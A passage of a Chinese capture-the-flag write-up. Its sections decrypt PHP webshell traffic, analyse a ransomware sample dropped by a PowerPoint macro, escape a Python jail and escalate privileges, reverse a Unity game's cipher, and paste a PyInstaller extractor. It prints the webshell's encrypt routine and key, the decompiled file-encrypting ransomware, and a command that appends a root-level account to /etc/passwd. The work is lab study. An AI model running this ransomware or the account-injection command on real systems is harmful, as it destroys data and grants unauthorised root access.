$data="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";
$post=Decrypt($data);
echo $post
?>

解密后的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
@session_start(); //初始化session,避免connect之后直接background,后续getresult无法获取cookie

echo encrypt(json_encode($result));
}

function Encrypt($data)
{
$key="e45e329feb5d925b";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
$content="WTlyZUo0cGw2WEJlMllQbWdQeHpYb0JLc2tLYU9ZaENwYUgwTmtlS0JpQjgwWU1kaFlQNGNpSkFxZG02ZWc5VFVaUHNLWnVZR0YzekhRYlJxNlNYUXZHQnczT0FEcTlESWdkNXZzYkRYMElQek45VjlDOWVNUFVCd0x5eUNCSFZSZGJtWDhHTzVmbkdiQjdFWURuODRwOGgxeTgwS1YwOVR6cjNjN2tXOGxNYzAyUkRMeWpzVEwyeEJXZHd5bFhXak9KU0djb044c2cxVmhFWjEwUjYyRXFNQWpNQXFuZVMzUzhySEhsVHRnU0pycmZUU1JuWm5sTTRwUUU0dDZJRTBxTzNJRnQxNmV0SXFrMmZocm5jOWFUZHlMendhdllOOHZ2TUd3R0NCOVYwTHRPVGJjbVpTc3UwNUtGRzdhODRCT2FCTkJaWjhERUV6MlMwejRZdGVyWVhZNDhUSU1Ia2JpcFFKRlY0ZE9hWVJhUU1DWHRvSDFqeUpBeXRzck1TWjVud3JDelF5NUN6bWl2eUtsb0FWNk1aWUlxN3pYQkpmcjhSRjVORm1WWjd6T3k2T2JyeFpNYVlwWWJybTFQV0F5RTVHNE9ZVFZDRkhFeGxZWjBCckJJQWxGc2l3cUpVZ2E2YTNQN1hIQ1Q5Z2ZmcjBmaGs0NGkzaWk5aWZUSjBWd1NXbXRTSktYNTlwdUxWMlNucUR1R2JvSGdhRTg2M20wOFI4Umdya2daT0Q1SXdYMzlKOTRNbGhnSGp4SFZWQk9JRENtQ0UzTHJnR0JmWjdnQzdmbWF5VU8zMXlGNTlpSkU2UE16WHRNNzB6b2FwdXRBYzUwcHB4dGJrZGZSSmZJaGN1N0ZIRnhsRUdUTkxFd21PaUNRNkk5SzBBczcwZXZFNTRPaFhKRTUybkgzUUxVWkhCOVpjeGpzcGFBcm8zZ0liVWlTTTVWNnVtbWh6eUNERDNpcHlZMERERHRDaUk2WFZpb0FseVppZ3JQZ2ZmZWNPQnV3VGVpNWVrV2psY0ZuTFAwNkh4dWN2dHFPTHptbFRQUXBOazVwejBUMWNYeGFhb3dYaktZbzFBek9zRlp2WVVRVllDaFRkYXpYUFpWUzhMRjc5YVdtTjlrRk00ekhBaUVCOUg3bkFCbnZHOVM3ZUZPTENwZHBycjlqMHZFUWczc1lsY2VXcnpYeFdFV0prczFJMnk5ejFkWURxU3c3ZTVyQXpORU01aDZrVXducDhnb1dXNzJROHFhY0ZlbDU1bXdyV2ZodmVRZ2NrVUUxMEtnbTBCS3cyZVVIQnZWZVFyOGtqRllNZnpBVFVZSnBKeHNkRmo0Q3NnQU1icklVdnFia25MeXJNWDFGUnlydUlSRURvdFBtakJ1WTR1TWcyY0xrMHJ6NjdDalpxQkZhVDhIcktUYmVGSW9NN0U3R3JNQkZjOTFRV2JZNElqUURnSzJzN00wcmJNeXdCZXh2RWMwUndCSXp0YlYzZjFQYTZPOTQzOXRwRUZTN2ZNWURsQmxuT0VOTHNKdFdPU3pwd1RZNGhpeXlTV1ozZ0tWNHdDbXV4NlhrOWd3MGw5Um1lWHMxQ1dMVkI2T1JYd205ODJia2hEa21tWURxWnBJSWNjWUNveVNtM1NSZWJYcmVtT2RNNTN3SXpBMjBRZ3hKRTAwTnQyNXJtUmltVGxaSjhwUk5SdG1sRXhtM2QxOEY3NkxObVhxVng2ekw4NHZtM2tMcHVCczNwQ29JSDJHTHZsR053UENXcDh1UTVxaEZGWmg5YmlBbzYwV2huSjdEejlkTEcxdE1jMXJyVGhKTDkza2l0WDQ0UklkSjBtSm5kbXlNTzJQaFR6UGVhVlFydEwzeXByMjJ2enRGend2UjhGZ3JCVm9ZZE1xb3ZHaXBFU05ndUgyaUdyb2RuSFEwb0ljUVRlSk5RcmZRSEQxWklFV2pMRmlTVjdoY05PSzhyQzZRQmVodXpXN01Mb1VWVG13RnhvNkRNbXZMeXFyNVIwTHV6Snl5MmEyUlhKT3Q1U085bDRzTENBdEp6U3NPd09CV3lWdFZGRVpFZzlGV1dLbHFMcnl3MVVKSW5QdHZRck1MUEtDbkNWc0w2TTFhNHVaUzFSSXVCclhSNlQyNjN1OG9wR05wbllRNXFMdEpUYktzUTdMNmlzT3JaSHNDRjZaMjFTckZjUWFYNzdITURwb2JRTFBDNXFGV3VYQXZhT3JYT3N3QmN2S29LY21UT2x6WGRZMHlEU3IzNDF3aHkzaU9wdzFXa1dlWHVvR0Q2cGwxbGZkdEpCWW1sdWtGblcyTXJhMm9OYU5XQUd0eUVaRGdUbHAxVzVPcU8ySGhBWmRESDh6VFNQY25SaXdBbUJ1Rnh2OEVlSG02ck9ON0o3b2gyRkFpRG92UlBhVHduYVVUNWhvcHowbzV3cnlWNWRyRDVUaFA2anJCWEdIUFhZUkdNNFp0ckZqdzAzSFNhalJQbWU5b1RxaWE5MlpVRm9GTXZvMkZ2SjZaVVFWWDdxTlJzRXQyeXFQblVVVGMzbm93WnIyUGVrQnRIaFFGbUVCZnZQR0JTUWg4aVcxMnc2NExMQTNld1JwV0N1NnltZDVsSzFXQnpFRVdJZlByWkJzUWs3cHFlekd2b0xpUXl5UVl2MUsyY0M0WEVaR2xncFlxWGZITVFuN0JHbTZUYUFKNFBOQndCaXlhVE1OMERIWFBMSDhXNnduc1NGVmFFUGYzOTE0eVBWbHc3ZnFOU2swMXZnY2FJYzREQW1mQ0lONmVjQmtSb3FiWnp0ZjBESmJUaHRGSEw2UTdQWTBxU2FFUTNSQVBLTDV4a29sb2tESEhvY2JGQkplN29IWktNbHlYcEtaa1B5RWdCclFsNXZ6clVXQnVqVUZ6Z3Bkc2NOYmtYVVFrZnFvWUxFOFp2SjdmcW53bXJZWmliUTRPcHFyWWtyWTNpN2pDOXNlNWxRNThzWm9FejVyOVc0UWlzcWd5cE5iU3dqeXhDUHJwMWRHeDFJcjA1a05veWdLaFpwc09YYUNHblJjT2hTWGphU2hkNFdJd0dNa2NlSWlYdndmb2xlRmNmNWh6clk4RkZXNk9Va0dQOHlOS05TbjRDQ2Q0bWdleUR1NDc0eHZWYU5wN3A0VFJZejZTMldETnZ6MWpwczJTQTQ5ZG5WdUFLZEpMclNmT1lIOHRWcWt3dXZkWk9TNGVBSWQ2TWJRUmZxTHVQbXFKNmhoV2c4TA==";
$content=base64_decode($content);
main($content);

这一个脚本是在测试自己的shell能否正常执行

将对应的响应包去掉头尾的数字按上面脚本解密后

image-20241027115734307

发现和它传入数据吻合,就代表有效

接下来只关注回显数据了,不用看命令(不是

image-20241027120724556

解密结果

image-20241027120733088

我开始怀疑secret.php是不是用openssl加密了,再接着往下看

image-20241027131608954

将第139流的发送数据解密

image-20241027131626708

终于发现加密方式了,果然是openssl

image-20241027132308754

Crazy Thursday v me 50 btc

首先查看ppt的宏代码

image-20241027134055086

发现了一个恶意图文件,去下载,得到一个py编译的exe,去反编译

image-20241027134356298

得到pyc文件再去反编译成py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# uncompyle6 version 3.9.1
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.8.18 (default, Sep 11 2023, 13:39:12) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: summer.py
import os, fnmatch
from Crypto.Cipher import DES3
from Crypto.Util.Padding import pad
from Crypto.Util.number import *
from secret import k3y, readme
import base64

def f(dir=".", ext=['.txt', '.zip', '.7z', '.rar', '.gz', '.png', '.jpg', '.bmp', '.gif', '.mp3',
'.wav', '.avi', '.doc', '.docx', '.xls', '.xlsx', '.pdf', '.ppt', '.pptx',
'.mp4', '.mov', '.flv', '.mkv', '.swf', '.dll', '.sys', '.iso', '.vmdk',
'.vhd', '.vhdx', '.ova']):
ff = []
for ro, di, fi in os.walk(dir):
for ex in ext:
for na in fnmatch.filter(fi, "*" + ex):
fp = os.path.join(ro, na)
ff.append(fp)

else:
return ff


def encrypt1(key, plaintext):
padded_plaintext = pad(plaintext, DES3.block_size)
ciphertext = cipher.encrypt(padded_plaintext)
return ciphertext


def encrypt2(m):
p = getPrime(256)
q = getPrime(256)
n = p * q
e = 65537
m1 = bytes_to_long(m)
c = pow(m1, e, n)
return (n, c)


def release(txt, m):
with open("Oops!.txt", "w") as f:
f.write(txt + "\n\n\n")
f.write(base64.b64encode((str(m[0].bit_length()) + str(m[0]) + str(m[1].bit_length()) + str(m[1])).encode()).decode())


if __name__ == "__main__":
fl = f()
for fi in fl:
with open(fi, "rb") as f:
data = f.read()
data = encrypt1(k3y, data)
with open(fi + ".encrypted", "wb") as f:
f.write(data)
else:
msg = encrypt2(k3y)
release(readme, msg)

先提取n和c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64

str="5116622320770252713983049525538529442399806399114601156042479162556501743025546301982131013970430949612759498909508894354368867959407638642272535440767511933"
n_bit_length=511

for i in range(4,len(str)):
number=int(str[3:i])
if number.bit_length()==n_bit_length:
print("n=",number)
break
str2="5091463395291354414033241866227371254790898156535141365755336147164392037884099642848212701050302606758739200003046537720344359702711890711691510289097046372"
c_bit_length=509
for i in range(4,len(str2)+1):
number=int(str2[3:i])
print(number)
if number.bit_length()==c_bit_length:
print("c=",number)
break


#n=6622320770252713983049525538529442399806399114601156042479162556501743025546301982131013970430949612759498909508894354368867959407638642272535440767511933
#c=1463395291354414033241866227371254790898156535141365755336147164392037884099642848212701050302606758739200003046537720344359702711890711691510289097046372

提取des密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import os, fnmatch
from Crypto.Cipher import DES3
from Crypto.Util.Padding import pad
from Crypto.Util.number import *
from libnum import *
import gmpy2
p=64816076191920076931967680257669007967886202806676552562757735711115285212307
q=102170960652478489355215071707263191814765888101601364955857801471459364198319
n=6622320770252713983049525538529442399806399114601156042479162556501743025546301982131013970430949612759498909508894354368867959407638642272535440767511933
c=1463395291354414033241866227371254790898156535141365755336147164392037884099642848212701050302606758739200003046537720344359702711890711691510289097046372
phin=(p-1)*(q-1)
e = 65537
d = gmpy2.invert(e,phin)
plain=pow(c,d,n)
print(hex(plain))
print(long_to_bytes(plain))

解密wav文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

from Crypto.Cipher import DES3
from Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import *
import binascii
def decrypt1(key_hex, ciphertext):
# 将 48 位 16 进制字符串转换为字节
key = binascii.unhexlify(key_hex)

# 创建 DES3 解密器
cipher = DES3.new(key, DES3.MODE_ECB)

# 解密密文
padded_plaintext = cipher.decrypt(ciphertext)

# 去除填充并返回明文
plaintext = unpad(padded_plaintext, DES3.block_size)
return plaintext
with open("Autumn.wav.encrypted", "rb") as f:
data = f.read()
data=decrypt1("53756d6d657261ca564a2e226967201869baecc5949f7cb5",data)
with open("flag.wav","wb") as f1:
f1.write(data)

将wav去deepsound解密得到一个winer.txt,再去用snow解密,密码去010看wav结尾

image-20241027145343705

最后得到flag

Untouchable flag

首先是pyjail

这里用到的技巧是breakpoint()

先用unicode编码输入𝐛𝐫𝐞𝐚𝐤𝐩𝐨𝐢𝐧𝐭()

然后反弹shell

image-20241027155841039

还需要提权,发现/etc/passwd文件可写

写入echo “test:adMpHktIn0tR2:0:0:User_like_root:/root:/bin/bash” >> /etc/passwd

这条命令的意思添加一个test/test用户,权限是root

然后切换到test用户,密码就是test,之后就可以读flag了

image-20241027160009260

RE

MineSweeper

找到游戏的指定dll文件

image-20241028161911636

用dnSpy进行逆向分析

找到game主类下的可疑的crypt函数

image-20241028162104637

查看函数

image-20241028162128982

右键分析查看变量的调用,主要查看传进来的Key,至于Game.key双击就能找到

image-20241028162224781

发现被Update方法使用,查看方法

image-20241028162254780

发现传入的参数,左键双击查看

image-20241028162315963

发现了Game.key和Game.haha现在去写解密逻辑,大致逻辑是对key进行变换,然后和密文异或

image-20241028162415139

其中不难发现红框部分就是密文,它是从外部的文件加载的

image-20241028162459016

文件位置如上,用010打开查看具体的密文

image-20241028162645114

找到密文的16进制,开搓脚本!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
true_key="This is: True_KEY!for #0xgAmE_Unity~Cryption"
key="0xoX0XOxOXoxGAME"
cipher=[0x45, 0x21, 0x3e, 0x08, 0x57, 0x31, 0x09, 0x4d, 0x42, 0x45, 0x42, 0x44 ,0x5d, 0x5a, 0x4b, 0x4b, 0x52, 0x56, 0x16, 0x44, 0x66, 0x45, 0x6c, 0x40, 0x57, 0x44, 0x33, 0x35, 0x51, 0x75, 0x0d, 0x58, 0x15, 0x71, 0x11, 0x1b, 0x0b, 0x08, 0x76, 0x04, 0x4f, 0x5c, 0x68, 0x3c]
print(len(cipher))
true_key_1=[]
for i in range(len(true_key)):
true_key_1.append(true_key[i])
num=0
for i in range(0,44):
num = (num + ord(key[i%len(key)])) % 44
temp = true_key_1[num]
true_key_1[num] = true_key_1[i]
true_key_1[i] = temp
flag = ""
for i in range(43,-1,-1):
flag += chr(cipher[i] ^ ord(true_key_1[i]))
print(flag[::-1])
#0xGame{36ecd059-b3e7-73c8-fa80-0a2abef3c757}

PyPro

拿到python编译的exe,先用工具得到pyc

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
"""
PyInstaller Extractor NG v1.0 (Supports pyinstaller 5.10.1, 5.10.0, 5.9.0, 5.8.0, 5.7.0, 5.6.2, 5.6.1, 5.6, 5.5, 5.4.1, 5.4, 5.3, 5.2, 5.1, 5.0.1, 5.0, 4.10, 4.9, 4.8, 4.7, 4.6, 4.5.1, 4.5, 4.4, 4.3, 4.2, 4.1, 4.0, 3.6, 3.5, 3.4, 3.3, 3.2, 3.1, 3.0, 2.1, 2.0)
Author : Extreme Coders
E-mail : extremecoders(at)hotmail(dot)com
Web : https://0xec.blogspot.com
Url : https://github.com/pyinstxtractor/pyinstxtractor-ng

This script extracts a pyinstaller generated executable file.
Uses the xdis library to unmarshal code objects, hence you should
be able to decompile an executable from any Python version without
being restricted to use the same version of Python for running the
script as well.

Licensed under GNU General Public License (GPL) v3.
"""

import os
import sys
import zlib
import struct
import argparse

from uuid import uuid4 as uniquename

from Crypto.Cipher import AES
from Crypto.Util import Counter

from xdis.unmarshal import load_code

def eprint(*args, **kwargs):
print(*args, file=sys.stderr, **kwargs)

def pycHeader2Magic(header):
header = bytearray(header)
magicNumber = bytearray(header[:2])
return magicNumber[1] << 8 | magicNumber[0]


class CTOCEntry:
def __init__(
self, position, cmprsdDataSize, uncmprsdDataSize, cmprsFlag, typeCmprsData, name
):
self.position = position
self.cmprsdDataSize = cmprsdDataSize
self.uncmprsdDataSize = uncmprsdDataSize
self.cmprsFlag = cmprsFlag
self.typeCmprsData = typeCmprsData
self.name = name


class PyInstArchive:
PYINST20_COOKIE_SIZE = 24 # For pyinstaller 2.0
PYINST21_COOKIE_SIZE = 24 + 64 # For pyinstaller 2.1+
MAGIC = b"MEI\014\013\012\013\016" # Magic number which identifies pyinstaller

def __init__(self, path):
self.filePath = path
self.pycMagic = b"\0" * 4
self.barePycList = [] # List of pyc's whose headers have to be fixed
self.cryptoKey = None
self.cryptoKeyFileData = None

def open(self):
try:
self.fPtr = open(self.filePath, "rb")
self.fileSize = os.stat(self.filePath).st_size
except:
eprint("[!] Error: Could not open {0}".format(self.filePath))
return False
return True

def close(self):
try:
self.fPtr.close()
except:
pass

def checkFile(self):
print("[+] Processing {0}".format(self.filePath))

searchChunkSize = 8192
endPos = self.fileSize
self.cookiePos = -1

if endPos < len(self.MAGIC):
eprint("[!] Error: File is too short or truncated")
return False

while True:
startPos = endPos - searchChunkSize if endPos >= searchChunkSize else 0
chunkSize = endPos - startPos

if chunkSize < len(self.MAGIC):
break

self.fPtr.seek(startPos, os.SEEK_SET)
data = self.fPtr.read(chunkSize)

offs = data.rfind(self.MAGIC)

if offs != -1:
self.cookiePos = startPos + offs
break

endPos = startPos + len(self.MAGIC) - 1

if startPos == 0:
break

if self.cookiePos == -1:
eprint(
"[!] Error: Missing cookie, unsupported pyinstaller version or not a pyinstaller archive"
)
return False

self.fPtr.seek(self.cookiePos + self.PYINST20_COOKIE_SIZE, os.SEEK_SET)

if b"python" in self.fPtr.read(64).lower():
print("[+] Pyinstaller version: 2.1+")
self.pyinstVer = 21 # pyinstaller 2.1+
else:
self.pyinstVer = 20 # pyinstaller 2.0
print("[+] Pyinstaller version: 2.0")

return True

def getCArchiveInfo(self):
try:
if self.pyinstVer == 20:
self.fPtr.seek(self.cookiePos, os.SEEK_SET)

# Read CArchive cookie
(magic, lengthofPackage, toc, tocLen, pyver) = struct.unpack(
"!8siiii", self.fPtr.read(self.PYINST20_COOKIE_SIZE)
)

elif self.pyinstVer == 21:
self.fPtr.seek(self.cookiePos, os.SEEK_SET)

# Read CArchive cookie
(magic, lengthofPackage, toc, tocLen, pyver, pylibname) = struct.unpack(
"!8sIIii64s", self.fPtr.read(self.PYINST21_COOKIE_SIZE)
)

except:
eprint("[!] Error: The file is not a pyinstaller archive")
return False

self.pymaj, self.pymin = (
(pyver // 100, pyver % 100) if pyver >= 100 else (pyver // 10, pyver % 10)
)
